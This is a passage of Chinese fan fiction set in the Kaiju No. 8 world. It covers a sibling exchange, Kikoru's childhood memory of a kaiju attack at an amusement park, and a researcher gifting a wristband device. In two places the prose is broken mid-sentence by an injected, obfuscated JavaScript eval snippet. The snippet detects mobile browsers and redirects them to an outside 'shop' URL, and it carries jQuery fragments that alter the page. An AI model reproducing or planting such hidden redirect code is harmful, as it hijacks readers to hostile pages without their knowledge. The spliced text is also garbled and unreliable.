两人自然地互报行程,都没觉得哪里不对,有些东西已经潜移默化成了习惯。 ...... ...... 保科宗四郎刚踏进本家那充满和风韵味的会客室,一个带着点戏谑的熟悉嗓音就响了起来。 “哟,这不是我们立川基地的大忙人副队长吗?终于舍得回来了?” 保科宗一郎——西方师团第六部队队长,正悠闲地坐在榻榻米上,标志性的白色长发一丝不苟,眼睛弯成两条细缝,让人看不清眼神。他穿着合体的常服,姿态看似放松,却透着一股精英军官的严谨。 宗四郎眼皮都没抬,径直走到对面坐下:“有事说事。” 语气里的嫌弃几乎凝成实质。从小到大,他这个哥哥就喜欢用那种“关爱笨蛋弟弟”的语气逗他,说他“太嫩”、“不够看”,导致他现在听到对方开口就条件反射地想屏蔽。 “这么着急?连跟哥哥喝杯茶的时间都没有?”宗一郎晃到他身边,白色长发随着动作轻轻摆动,“听说你最近跟那位暮戈首席走得很近啊。” 宗四郎动作一顿,警惕地看向他哥,面上不动声色:“十号识别武器的开发需要,她是技术总负责人。例行公事而已。” 他言简意赅,不想多谈。 “例行公事?”宗一郎拖长了语调,带着明显的不信,“那位‘终末系’美人可是出了名的难搞,尖酸刻薄,脾气古怪。你能跟她‘例行公事’下去,看来我们宗四郎长大了,没那么‘嫩’了嘛。” 宗四郎嘴角抽动了一下,所幸他的养气功夫已经十分到家,决定无视他这句话,直接走到刀架前:“家族长老会让我回来取些古籍资料。” “已经给你清点出来了,你核对一下,”宗一郎坐回椅子上,手指轻轻点着膝盖,接着自顾自把话题继续下去,“她能力倒是没的说......” 他顿了顿,似乎在寻找合适的词,最终无奈地笑了笑,“嗯,我跟她有点处不来。思维方式完全不在一个频道上。” 这点宗四郎倒是深有同感。想起实验室里那些“青椒等级”的痛感和五分钟的感官剥夺,他难得对兄长产生了一丝共鸣,心有戚戚地“嗯”了一声。 然而,他这点细微的松动和认同感,立刻被宗一郎精准捕捉到了,他忽然向前倾了倾身体,用一种带着点八卦和探究的语气,压低声音说:“不过嘛......我猜,她应该不会太往死里为难你。” 宗四郎立刻想起那些密密麻麻的记账条目,头皮发麻:“?她都快把我……” 话说到一半突然刹住。他总不能跟哥哥诉苦说自己正在被暮戈首席用各种“合规合理”的方式清算旧账。 宗一郎仿佛没看到他瞬间僵硬的脸色,自顾自地继续分析,语气带着他特有的、让人火大的笃定:“根据我这边有限的观察和情报分析,那位暮戈首席,虽然性格难以捉摸,但对长得好的人,似乎会稍微宽容那么一点点。” 他笑眯眯地,用指尖点了点自己的脸颊,意有所指:“简单来说,她好像……挺喜欢脸好看的。” 他顿了顿,目光在宗四郎那张继承了保科家优良基因、无可挑剔的俊脸上扫过。 保科宗四郎直觉这人嘴里蹦不出什么好话。 “——你看你这张脸,不就正好长在她的审美点上了吗?”宗一郎说着,还煞有介事地点了点头,仿佛在确认一件理所当然的事情。 保科宗四郎沉默了两秒,然后面无表情地掏出个人终端,当着宗一郎的面,熟练地找到通讯录里“保科宗一郎”的名字,手指悬在了【加入黑名单】的选项上方。 “喂喂喂!宗四郎!我这是在夸你——” 宗一郎终于有点绷不住那游刃有余的架势了。 回应他的,是宗四郎毫不留恋、转身就走的背影,以及终端里传来的、无情的人工智能提示音:【操作成功】。 “啧,又来了。”宗一郎看着弟弟离开的背影,无奈地耸了耸肩,眼睛里却掠过一丝真实的、拿弟弟没办法的笑意。摇了摇头,低声笑骂了一句: “这小子……还是这么不可爱。” 而快步离开本家的保科宗四郎,一边在心里第无数次谴责他哥的不着调,一边却又不可避免地想到此前种种细节:比如,她好像真的,没怎么拿话刺过他,一般只有他旁观其他人被暮戈京矢刻薄到体无完肤的份,再比如,她好像确实对他有表情的时候多一点(别管是什么表情),他也不是没听说过普通队员对她的评价——“笑的时候要么是世界末日要么是‘你完了’。” 这么一想...... 更可怕了好吗! 与此同时,暮戈京矢也出现在了有明临海基地。她与第一部队就“一号”战斗服的长期监测数据交换了一些意见,并与长谷川进行了简短的会谈。 “所以说,为什么最近都不找我借钱了?” 四之宫奇可露双手叉腰,训练服短袖被卷到了肩膀,她站在训练场边,看着刚结束一轮高强度对练、正拿着水瓶喝水的鸣海弦。 鸣海弦抹了把脸上的汗,玫粉色的眼睛瞥了她一眼,语气带着点莫名的得意:“哦,那个啊。因为现在有京矢给我买了。” 你到底在得意些什么啊?奇可露对笨蛋师傅的幼稚已经有些见怪不怪了,这又是那个倒霉蛋被他赖上当提款机了? 但是, “京矢……?” 奇可露歪了歪头,觉得这个名字有点耳熟,似乎在很久远的记忆里出现过,带着一种模糊的温暖感。她努力在脑海中搜索着,眉头微微皱起。 “暮戈京矢啊,”鸣海弦重复了一遍,看着她突然想起来了什么:“你不记得她了?不应该啊,你的——” 就在这时,训练场的自动门滑开。 刚刚结束与长谷川会谈的暮戈京矢走了进来,似乎是打算借用一下第一部队的某个分析仪器。她依旧穿着那身白色的研究服,身形高挑,步伐沉稳。 当她的目光不经意间扫过训练场,与正努力回忆的奇可露视线相交时—— 奇可露的瞳孔猛地收缩了一下。 尘封的记忆如同被瞬间撬开的匣子,汹涌而出。 鸣海弦慢半拍的话语也同时落下:“——你的‘绿眼睛姐姐’。” ...... 是了,在她小学五年级那年,偶尔,会有个黑头发绿眼睛的大姐姐过来接她放学,或者带她去吃饭,她有个难记的名字,四之宫奇可露在心底一直偷偷叫她“绿眼睛姐姐”,好在大姐姐话不多,也无意与小孩子建立什么友谊,大部分时间只是半垂着眼陪在她身边刷手机。四之宫奇可露知道她大概是父亲的下属之类的,曾经试图向她打听过几次防卫队的事,都被不咸不淡敷衍过去,并且给她买糖试图堵住她的嘴。 哼,她早就不爱吃糖了。 自从妈妈去世以后。 四之宫功越来越忙,已经很久没陪过她了,好在她是个不平常的小孩,相当理解父亲的难处,并暗暗下定决心要成为最厉害的防卫队员,像妈妈那样。 听到她这么说的时候,绿眼睛姐姐正在给她绑头绳,纤长手指穿插在细软的发丝中,指尖轻触到她的头皮,有点冰凉,女孩缩缩脖子,期期艾艾道:“……你说,我能做到吗?” 头发上的动作顿了顿,从上方传来一句“嗯,你会做到的。”从基因层面来说,少女心里补充一句,你可是那两位的孩子,她本人对一个九岁小孩子确实没什么指望,但带着这份觉悟,她未来一定能走的更远。 坐在椅子上的女孩明显开心了,扎好的金黄发丝都抖擞起来,矜持地抿着嘴。 “我也这么觉得!”她跳下椅子斗志满满地说。 身后的少女不易察觉地叹了口气,理了理她的衣领。 十岁生日那天,正好是暑假,她一大早就从床上爬起来,穿好衣服就坐在餐桌前,眼巴巴看着院子里,少倾,院门外停下一辆车,车门拉开,黑发少女迈下来。 四之宫奇可露藏不住的失望神色,少女早有预料,没办法,今天是暑假,却不是休息日,四之宫功给她批了一天假,却没办法抽出时间亲自回来陪伴小女儿。 黑发少女——暮戈京矢无意置喙上司的父女关系,好在四之宫奇可露即使在她的标准里也算个早熟听话的孩子,乖乖朝她问好,她想了想,还是按原计划询问小女孩:“带你去游乐园玩?” 果然没有小孩能拒绝游乐园,四之宫奇可露也一样,过了检票口时还有些情绪不高,等看见迎宾路边穿玩偶服的工作人员,又雀跃起来,绿眼睛姐姐不远不近缀在她身后,帮她拍了几张跟玩偶服的合影。 “我想去玩那个!”四之宫奇可露小手一指,兴奋地跑向碰碰车的场地,黄色双马尾已经初具日后的张扬模样,支棱在空中,在暮戈京矢眼里就像个蹦蹦跶跶的黄毛小豆丁,她在心里不知道第几次感慨四之宫长官竟然有这么可爱的女儿,慢吞吞挪动步子跟上。 暑假里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704840|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的游乐场人流量剧增,小孩子满地跑,成双成对的情侣也随处可见,大多数游玩项目都排起长队,暮戈京矢早有准备,直接刷了vip贵宾票,黄毛小豆丁一说要玩哪个项目,她就带着她噌噌走内部通道抢先体验。 暮戈京矢:拒绝排队。 碰碰车之类的她婉拒了,但是架不住奇可露心心念念过山车,海盗船等项目,工作人员拦住小女孩:“不好意思小朋友,高空项目12岁以下需要家长陪同哦。” 四之宫奇可露:“!”以前跟妈妈来玩根本不知道这个! 她小心翼翼回头看了一眼,绿眼睛姐姐正百无聊赖靠在栏杆边,长腿随便一支,便是身段利落,有高中生打扮的男生举着手机凑到她跟前,又被她随意几句打发走。 奇可露:“……”她转头悄悄踮起脚,仰脸对工作人员大声说:“我已经十二岁了!” 工作人员微笑,果断拒绝了她。 暮戈京矢一低头,发现小豆丁又回到她腿边,磨磨唧唧不知道在干什么。 暮戈京矢:“?” “怎么了?” 小女孩扭捏了一小下,还是选择说出自己的诉求。 “啊……”黑发少女反应迟钝,对,她现在算是这孩子监护人来着。 奇可露做好了被拒绝的准备,绿眼睛姐姐却弯腰拉住她的小手,细长的手指包裹住她的手掌,依然有些凉凉的,“想坐车头第一排吗?” 直到两人并排坐到过山车第一排座位上,四之宫奇可露还是点不真实感,她侧头过去,暮戈京矢正在让工作人员给她扣安全锁,下巴扬起绷出颈部的线条,她发现这个角度绿眼睛姐姐眼下淡淡的青色。 过山车启动,呼啸的风带走了尖叫声,奇可露非但没有害怕,反而兴奋地举起双手:“呜呼!” 七圈八绕下来,四之宫奇可露活力满满跳下来,还有点意犹未尽,脸红扑扑的,18岁的暮戈京矢揉了揉额角,觉得连着三天睡两个小时的后遗症找上了她,接着衣角又被一扯,“?” 黄毛小豆丁睁着亮晶晶的眼睛:“我们去海盗船!” …… 海盗船,跳楼机,大摆锤,四之宫奇可露展示了超出常人的精力旺盛,暮戈京矢被遛了半个游乐场后紧急叫停,把她塞进摩天轮里。 舱室缓缓上升,四之宫奇可露安静下来。她从随身的小包里郑重地取出一个用丝带系好的小纸盒,打开,里面是一块精心装饰的、小小的三角形切片蛋糕,顶端还插着一根小小的“10”字蜡烛。 “爸爸.....今天是不是很忙?”女孩的声音很平静,似乎也不是想要一个答案,但暮戈京矢能听出那底下细微的失落。她只是拿出打火机,默默帮女孩点燃了蜡烛。 火光在狭小的舱内亮起,照亮两人的面孔,一张尚且稚嫩,一张略带青涩。 “许愿吧。”暮戈说。 四之宫奇可露双手合十,闭上眼睛。在摩天轮升至最高点,仿佛伸手就能触碰天空的时刻,她在心里默默许下愿望:“希望我能变得更强,强到可以保护所有想保护的人,不再失去任何一个。” 她吹熄了蜡烛,小心地切下一半蛋糕,连同叉子一起递给暮戈京矢:“绿眼睛姐姐,给你。” 暮戈看着那半块承载着孩子心意的蛋糕,沉默地接了过来。 从摩天轮下来,气氛明显轻松了许多。奇可露心满意足,指着不远处的冰淇淋店:“我想吃那个!” “嗯。”暮戈点头,塞给她零钱让她去买,站在原地帮她拿着彩色的气球。就在奇可露接过冰淇淋瞬间—— “呜——————!” 凄厉至极的怪兽袭击警报,如同冰水般瞬间浇透了游乐场所有的欢乐。 一旁小男孩手里的冰棍“吧嗒”掉在地上。 现场瞬间混乱起来,孩童的惊恐的哭闹,大人焦急的呼喊,在直冲云霄的警报声里愈发刺耳,与还在播放的欢快乐曲混成一首诡异的小调。 四之宫奇可露楞在原地,手上还攥着冰淇淋店老板找给她的零钱,被四处逃窜的人撞了好几下,“啊!”。 一双有力的手扶住了她,绿眼睛姐姐出现在她身后,面带肃意,“四之宫小姐,去最近的避难所,家里教过你这时候该怎么办吧。” 绿眼睛姐姐把外套扯开,沿着肩线、腰部“咔哒”按了几下,拆下身上一件马甲似的“衣物”,有点像妈妈曾经穿过的战斗服,“躯干部位的护甲就算是小孩子也能起防护作用——好好穿着”她一边说着,一边蹲下来把护甲套在了她身上,残留的体温包裹住女孩瘦小的身体。 距离她们不远处,摩天轮轰然倒塌,掀起烟尘甚至扑到了她们身旁,隐约听到变大的哭喊和嘶吼。 “快走。”她轻轻推了把女孩,自己却抬步向动乱发源地。 四之宫奇可露有些喘不上气来,母亲牺牲时的新闻又浮现在眼前,与将要转身离开的身影重叠,愤怒和无力感压过本能的恐惧,她金色的发丝颤抖,用力抓住了绿眼睛姐姐的衣角:“你要去哪?” 暮戈京矢回头:“快去避难吧,我已经联系了你父亲。”,她在那双绀青色眼睛里看见自己小小的身影,母亲以前总跟她说,天塌了会有高个子替你顶着,这句话让她很不高兴,因为她觉得这是母亲嘲笑自己长的太矮,而母亲和父亲都比她要高大太多。 绿眼睛姐姐不算高大,但也比她高。 她感觉胃里很热,眼底也很热,有一点湿润漫上眼眶,被她倔强的抹去:“你要去讨伐怪兽吗?” 黑发少女对上她的目光,微微一顿—— 就算平时再怎么嚷着要成为防卫队员,她也只是个失去母亲的九岁孩子,圆圆的眼睛里满是彷徨与创伤,还未生长出坚锐。 她俯下身,动作生疏地摸了下小女孩的头,再次轻声让她不要怕。 事发突然,防卫队还没有赶到现场,“我……我不能让你一个人……”四之宫奇可露拔高声音,稚嫩双手用力得几乎把暮戈京矢衣角扯破。 而绿眼睛姐姐只是露出一个几不可查的微笑,“好孩子,” 她缓慢却坚决地把她的手掰开,低声说: “大人就算一个人也没事的。” 她转身逆着惊慌奔逃的人流跑去,很快消失在女孩的视线里。 20.小礼物? 暮戈京矢逆着人流,以最快的速度冲向能量波动的源头——川上游公园的湖畔。 兽级预估不高,但是出现在这种人流量密集的地方,必须先牵制住主兽,控制余兽波及范围。 她赶到时,宽阔的湖面上只剩下几艘破破烂烂的游船,彩色的涂装混着缕缕从水底漫上来的血色,静的连一丝风都没有。 暮戈京矢几个跳跃,踏着散落在湖面的残骸和木板,来到了湖心,没有因为暂时的平静放松警惕,绀青色双眼扫视着那些血迹,就在这时—— 金色湖水突然隆起一道扭曲的脊线,青灰色的鳞甲泛着湿滑的冷光,每一片都嵌着深褐的斑驳纹路,像海底的礁石,撕开湖面童话般的波光。 它脖颈猛地从水里拔升,粗得能绞碎渔船的肌理上,凸起的暗紫色血管随着呼吸搏动。三角形的头颅布满褶皱,两只浑浊的橙红色竖瞳毫无温度,下方裂开的巨口咧到耳后,细密的尖牙上挂着腥臭的涎水与碎肉,那是当时湖心游船的人们。 最骇人的是它背后那对半蜕化的鳍状特化器官,骨节狰狞地向外支棱,每一次摆动,都让整个湖面跟着震颤,仿佛水下藏着能吞掉天地的阴影。 能量四散,湖心温度节节攀升,它仰起头颅,炽热的吐息像天火降临,铺天盖地。 于是湖水也开始燃烧起来,如同片片金叶上燃起了晚霞,远远看去瑰丽非常,暮戈京矢置身其间却委实欣赏不来,高温炙烤的她的面容微微变形,夕阳光线斜射过怪兽的鳞甲,又射穿无数片金叶子,雾气升腾,她眯起眼睛。 橙红的瞳孔骨碌碌转动一圈,锁定湖水中的人,水下砰的一声闷响,无数水柱以它为中心“哧哧”激射而出,片片流火被带到高空又满天落下,而真正危险的是水柱本身,每一道都带着白气,暮戈京矢眉心一跳,一拍水面向后飞掠出去,直退到浅滩上,高温蒸熟的死鱼噼里啪啦落在岸上——要是被这水柱沾到,估计会直接变成粉蒸肉。 怪兽巨大的身躯隐在湖心雾气缭绕中,下一刻炎息四处喷吐,湖畔的浅滩与草地,瞬间变成恐怖的火海。 没有uni武器,没有高数值战术服,只能靠着四肢上的辅助战术服把这头主兽牵制在这里,她目光落在它背上的特异器官上,低下身子,脚在地上一踏,小腿后的装置弹出一排窄刃。 对这种体型的主兽,这种小伎俩可能用处不大 这时,直升机的声音从上方传来,枪林弹雨打在怪兽鳞甲上,防卫队到了。 这么快? 暮戈京矢有些惊讶,微微松下心来,她似有所感抬头,直升机落下一道人影,以极快的速度逼近湖面,解放战力的辉光在霞云中破开一线。 “队式铳剑术二式,【斩幕炮火】 ” “轰——”,湖水四溅,热浪翻涌 水雾,火光,短暂遮蔽了她的视线,待一切落下,只见湖畔两岸的火焰已经熄了,只有被烧焦的树木和烤裂的石头,昭示着刚刚这场战斗的激烈。 湖心的怪兽已经倒伏下去,巨大的头颅被轰得破破烂烂,血色蔓延开来,几乎染红了大半湖面。 来人从怪兽尸体上跳下来,扛着她上周刚设计成型的特化武器,踏过血湖与零星火光,朝她走来。 “你给功长官带孩子怎么能跑到讨伐中心点来的?” 鸣海弦伸手掸灭肩头的火焰。 “下次这种话去问怪兽好吗。”难道是她特意选在怪兽刷新地点吗。 湖畔安静下来,防卫队其他人还未赶到,原本游人如织的湖滩上经过这场劫难后,只剩下他们两个。 “奇可露呢?到避难所了吗?” “你说长官家的小丫头?放心吧她连余兽的影都没挨着,早就跑到防卫队队伍里了,对着小队长喊让他们来救人。” “……功长官怎么说?” 两人并肩在湖滩深一脚浅一脚向外走,鸣海弦顺手把铳剑反背回背上:“我怎么知道,本大爷第一时间就赶过来了,其他家伙还在慢腾腾地部署呢。” 原来支援来的这么快是因为你擅自行动吗,太谢谢你了弦,愿长谷川的检讨保佑你。 鸣海弦浅粉色的刘海被水汽弄得微微垂下来,他像小狗一样甩了甩脑袋,发丝没干,成功甩了暮戈京矢一脸水。 “……”暮戈京矢面无表情抹了把脸。 “噗哈哈哈哈哈哈哈哈!”鸣海弦大声嘲笑,一把揽住她的肩:“明天周末!陪我去秋叶原,Animate有限售任天堂二代!” 话题跳脱的太快,少女却认真想了一下:“不行” “为什么!” “今天我已经休过假了,万一会调休呢?” “啊?” 鸣海弦愣了一下,调休的概念丝滑从脑中略过,跳起来大叫:“你有空陪小孩子去游乐园,没空陪我?” 别太黏人了我说,难道你也想去游乐园? 她看了眼他背后的铳剑:“新武器用着怎么样?我刚刚看着精度还有改进空间。” 鸣海弦顺利被转移了注意力,掂了掂背后的特质武器,扬起嘴角:“还行吧,制式倒是独一无二,跟帅气的本大爷适配,哼哼……” 看上去是行的不得了。 “新招式也很帅气嘛,铳剑术?” “啊,我还在开发中,感觉怎么样?是不是很天才的构思……” “大开大合的很适合你……” 残阳温柔下来,暮色开始笼罩林间,少年们踩过草叶上涂抹的余晖,一如过去并肩的每个黄昏那样。 ..... ..... 回忆的潮水骤然退去,训练场内冰冷的空气重新灌入肺叶。 四之宫奇可露僵在原地,金色的双马尾似乎都失去了些许活力。她那双总是充满斗志的眼睛,此刻正剧烈地颤动着,紧紧盯着几步之外的暮戈京矢。那个在她记忆深处被尘封的、温柔的“绿眼睛姐姐”,与眼前这个冷峻、强大、陌生的首席研究员形象,正在疯狂地重叠、撕扯。 鸣海弦抱着手臂,玫粉色的眼睛在暮戈和奇可露之间转了个来回,脸上是“看吧我就说”的了然神情,但嘴角那点惯有的散漫笑意收敛了些,难得地没有出声打扰这沉重的时刻。 长谷川依旧像一座沉稳的山岳般立在暮戈京矢身侧,他敏锐地注意到了奇可露微微颤抖的指尖和失焦的眼神,眉头几不可查地蹙起,但没有立即介入。 “……是您。” 奇可露的声音有些发干,带着与她平日张扬风格不符的艰涩。她没有用疑问句,而是陈述。那些被遗忘的细节——冰凉的指尖理顺她的头发,游乐园VIP通道的风,摩天轮上分食的蛋糕,以及最后那个决绝地消失在怪兽方向的身影——此刻都带着惊人的重量砸回她的脑海。 暮戈京矢平静地回视着她:“四之宫队员。” 她微微颔首,称呼是标准的、带着距离感的官方用语,“你的训练数据我看过了,进步显著,基础很扎实。” 她没有承认,也没有否认那段过往。这种态度,像一根细小的针,刺破了奇可露心中翻涌的、混合着感激、怀念与无措的情绪泡沫。 金发少女猛地抿紧了嘴唇,下颌线绷紧。她挺直了原本有些僵硬的脊背,属于四之宫家大小姐的骄傲和那份对自己极高的要求,瞬间压过了那一点脆弱。 “多谢首席夸奖!” 她的声音恢复了清亮,甚至比平时更加高昂,带着一种近乎赌气的、想要证明什么的劲头,“我会继续精进,绝不会辜负您的……和所有人的期望!” 暮戈京矢愣了愣,似乎意识到自己话语中的生硬,她罕见地尝试柔和下眉眼,想找回一点当年面对那个黄毛小豆丁的感觉:“......都长这么大了啊,四之宫小姐。” 这声带着些许叹息的“四之宫小姐”,比之前公事公办的“四之宫队员”少了几分冰冷,奇可露紧绷的肩膀微微松弛。她看着暮戈,那双酷似其父的倔强眼眸里,情绪复杂地翻涌着。她有很多话想问,比如“你后来去了哪里”,比如“为什么再也不来看我”,但最终,所有的话都堵在喉咙里,化作了一句带着点委屈和执拗的回应: “人总是要长大的。” 她微微扬起下巴,努力维持着姿态,“不能总是……需要被别人保护。” 这句话意有所指,既是对自己说的,也像是在对暮戈说。 暮戈静静地看着她,看着她努力装出成熟模样却依旧带着青涩棱角的脸庞。绀青色的眼底深处,似乎有什么东西微微松动了一下。她没有接那句话,而是将目光转向她手中握着的训练用武器,语气恢复了那种专业的平稳,却不再那么疏离: “你的发力方式,可以更优化。手腕的角度,在第三式变招时,如果内收五度,能量损耗会降低至少百分之七。” 这是一个非常具体、且极具价值的指导。它跳出了泛泛的夸奖,直接切入了奇可露正在钻研的核心。 奇可露的眼睛瞬间亮了一下,那是属于战士对提升实力的本能渴望,压过了之前的复杂心绪。她几乎是立刻下意识地按照暮戈的说法,微微调整了一下握姿。 “这样?”她求证般地看向暮戈。 “嗯。”暮戈微微颔首,“细节决定效率。你底子很好,不需要盲目追求力量爆发,精度和控制同样重要。” 就在这时,一直被晾在旁边的鸣海弦终于忍不住插嘴,带着点被忽略的不满:“喂喂!奇可露,我教你那么多你怎么没记得这么清楚?她一说你就改?” 奇可露头也没回,注意力还在自己的手腕上,没好气地回了一句:“因为师傅你只会说‘感觉不对!再来一遍!’,谁知道感觉到底是什么啊!” “哈?!感觉就是感觉!你这笨蛋徒弟!” “那现在就跟我再对练一轮!” 暮戈看着瞬间又吵起来的两人,没有再参与进去。她只是极轻地、几乎无人察觉地弯了一下嘴角,随即恢复了常态,长谷川这才上前一步,对暮戈京矢开口,声音沉稳:“京矢,关于一号战斗服的长期监测数据,技术部已经整理完毕,随时可以传输至立川基地。” “有劳。” 暮戈点头,目光在依旧和鸣海弦吵吵嚷嚷的奇可露身上停留了一瞬,随即干脆利落地转身。 “数据分析仪在B区,我带你过去。” 长谷川侧身引路。 暮戈京矢跟在长谷川身后,走向B区。就在自动门即将关闭的瞬间,一个东西“嗖”地飞过人群,精准地划过一道弧线,落向她。 暮戈头也没回,仿佛后脑长了眼睛一般,手随意地向后一抬,正好接住。 一张皱巴巴的、手写的字条。 训练场那头,鸣海弦一边单手格挡着奇可露愈发凌厉的攻势,一边朝这边头也不回地大声嚷嚷: “喂!京矢!周末上线!新出的那个副本,少个输出!” 他的语气理直气壮,带着一种“这事就这么定了”的理所当然,完全无视了周围队员们憋笑的表情。 暮戈停下脚步,展开字条,上面果然潦草地写着一串游戏ID和副本名称,甚至还有个歪歪扭扭的“急!”字。 她看着字条,沉默了两秒,然后将其仔细折好,塞进了口袋。 “白痴。”她用清晰却不算大的声音回敬。 然后,她没再理会鸣海弦后续“你说谁白痴?!不来你就死定了!”的叫嚣,径直跟着长谷川离开了训练场。 自动门彻底合拢,隔绝了那边的喧闹。 鸣海弦“切”了一声,收回目光,正好对上奇可露“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711279|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们到底多熟啊”的复杂眼神。 他咧嘴一笑,玫粉色的眼睛里闪着光,轻松挡下她的又一次突进:“看什么看!专心点,笨蛋徒弟!你还差得远呢!” 保科宗四郎从关西本家匆匆赶回立川基地,踏入研究所时,傍晚的灯光已经亮起。他正准备去找暮戈,却在转角处差点被绊倒——一个穿着白大褂的年轻研究员正抱着膝盖蹲在墙角,把脸埋在臂弯里,肩膀一耸一耸的。 “呃,你没事吧?”保科停下脚步,温和地问。 旁边另一位年长些的研究员正无奈地站着,见到保科,立刻如见救星:“副队长!您可算回来了。没事,就是被暮戈首席……指导了一下工作。”他压低声音,“新来的,心理承受能力还没练出来。” 保科了然,心里有些好笑,又有点同情。他蹲下身,拍了拍年轻研究员的肩膀,声音放得更软了些:“别太往心里去,暮戈首席她只是要求比较严格,对事不对人。习惯就好……” 那年轻研究员抬起头,眼睛和鼻子都红红的,他看着保科,眼神里充满了不解和委屈,抽抽搭搭地打断了他: “可是……可是她对您明明就不一样!” 保科:“……?” 他还没来得及消化这句话,年轻研究员就带着哭腔继续控诉:“我们都看到了!她跟您说话都不会用超过三个分句的否定词!她甚至还会对您笑!虽然笑得有点可怕……但那是笑啊!” 保科一时间哭笑不得。他这才意识到,在旁人眼中,暮戈京矢那点有限的“好脸色”,几乎全给了他一个人。 安抚好情绪崩溃的新人,保科终于走到了暮戈的实验室门口。他推门进去,暮戈正站在主控台前,听到动静,头也没回。 “关西的事处理完了?”她问。 “嗯,刚回来。”保科走到她身边,看着她快速滑动屏幕上的数据流,犹豫了一下,还是把刚才的见闻当作趣事分享出来,“说起来,我刚在门口遇到个新人,好像被你训得不轻,蹲在墙角哭呢。” 暮戈手上的动作停住,终于侧过头看他,绀青色的眼睛里没什么波澜:“他的数据模型错得离谱,基础不牢。浪费时间。” “我知道,”保科笑了笑,“就是觉得……好像我在大家眼里,待遇是不是有点太好了?” 暮戈闻言,没有立刻回答。她的目光落在他空着的手腕上——他因使用家传刀术,手腕的灵活与稳定至关重要,且从不佩戴任何饰物。 她像是想起了什么,弯腰从旁边的工具台上拿起一个东西。 “手伸过来。”她命令道。 保科虽有些疑惑,但还是依言伸出了左手。他的手腕线条精悍流畅,皮肤是训练后健康的瓷白色。 暮戈京矢俯身,将一个冰凉的东西套在了他的腕骨上。那是一个极细的黑色金属环,材质哑光,触感却温润,环身镶嵌着一道若隐若现的、流动着湛蓝色微光的能量纹路,设计简洁而充满未来感。 “这是什么?”保科抬起手腕,好奇地打量着这个兼具工业美感和神秘气息的小物件。手环已经自动调整到最贴合他腕围的尺寸,严丝合缝,仿佛量身定制。 “一个小型生物动能转换器,”暮戈松开手,语气依旧平淡,仿佛在介绍一个普通工具,“能在你挥刀的瞬间,将部分肌肉动能转化为短暂的脉冲能量,附着在刀锋上。理论上,能提升3%的切割效率。” 保科惊讶地看着手腕上这个既像精密仪器又像艺术品的细环。百分之三!这个微小的数值对普通队员可能意义不大,但对他这种追求极致控制的顶尖剑士而言,简直是质的飞跃。 而暮戈的视线,则落在保科的手腕上。实验室冷白的光线下,那刻印她个人风格的黑色金属,圈禁着那一截清瘦白皙的手腕,其下是蕴含着爆发力的、线条流畅漂亮的肌理。精密的技术内核被她封装在了极具攻击性的美丽形式之下,那道湛蓝色的纹路如同一个隐秘的标记。 一种冰冷的科技感,与他身体温热的生命力形成了强烈的反差。 这画面取悦了她,就像一件完美的武器,被配上了独一无二的、由她亲手打造的精致配件。 很好。她在心里想。很适合他。 “还不错。”她轻声说,算是认可。 保科活动了一下手腕,感受着那几乎可以忽略不计的重量和精妙的贴合度,想到不久之前她送给亚白队长的“小礼物”——原来是这种感觉。 他抬头看向暮戈,深红色的眼睛里漾开温暖的笑意: “谢谢,我很喜欢。它会被好好使用的。” 暮戈京矢随意“嗯”了一声,摆摆手让他自便,注意力似乎又回到了大屏上——如果走廊里那个小研究员在这,一定会控诉:暮戈首席从来不会让人在她的研究室里“自便”,事实上,大部分时候前来汇报的人只要15秒内说不出她觉得有用的东西,就会被无情驱赶。 而对此一无所察的保科副队长,指尖轻抚着手腕上的圆环,在这间不大的研究室里溜溜达达转了一圈,他目光掠过那些闪烁着幽蓝光芒的精密仪器,最后停在角落一盆长势奇特的、泛着金属光泽的绿植上。 他记得上次来还没有这个。大概是某种实验样本,他想。 “别碰。” 暮戈的声音突然传来,依旧盯着屏幕,手指飞快地敲击着虚拟键盘。“它的孢子有微弱神经毒性。” 保科的手停在半空,随即自然地收回,插进口袋。他有点好奇她是如何做到头也不回就掌握他所有动向的,但这感觉并不坏。 “走了,不打扰首席工作了。”他语气轻快地告别,“提前说个晚安。” 嗯。”她又应了一声,比刚才那声更轻,几乎要融进仪器的背景音里,“晚安。” 21.那就来点震撼教育 晨光透过走廊窗户,在金属壁面投下斑驳光影。保科宗四郎与亚白米娜并肩走向战术简报室,电子板显示着今日训练日程。联络员小此木抱着一摞文件从后面小跑着追上他们,圆框眼镜后的眼睛亮晶晶的。 “副队长!亚白队长!早……啊!”她的话说到一半,目光就像被磁石吸住一样,牢牢钉在了保科宗四郎的左手上。“副队长,您手上戴的是什么?好酷!是出云科技的新产品吗?以前从来没见您戴过饰品呢!” 保科被她一连串的问题逗笑了,抬起手腕,让那个哑光黑金属环完全暴露在晨光下,湛蓝的能量纹路温和地脉动着。“这个?是暮戈首席给的,一个小型生物动能转换器。” 他语气里带着收到实用礼物的纯粹喜悦。 “首席给的?”小此木立刻凑近了些,好奇地打量着这个充满科技感又异常精致的小物件,“哇!看起来好厉害!是像给我的那个便携数据接口一样,提升工作效率的新装备吗?” 她提到的数据接口,是暮戈京矢前几日看她抱着终端跑来跑去辛苦,随手递给她的一個小巧模块,解决了她的大麻烦。 “性质类似,但功能不同。”保科耐心解释,“这个主要是针对我的刀术,能转化部分肌肉动能,提升切割效率。” 他轻轻转动了一下手腕,语气轻松地补充道:“看来之前的合作很愉快,这算是……一份友好的证明吧。” 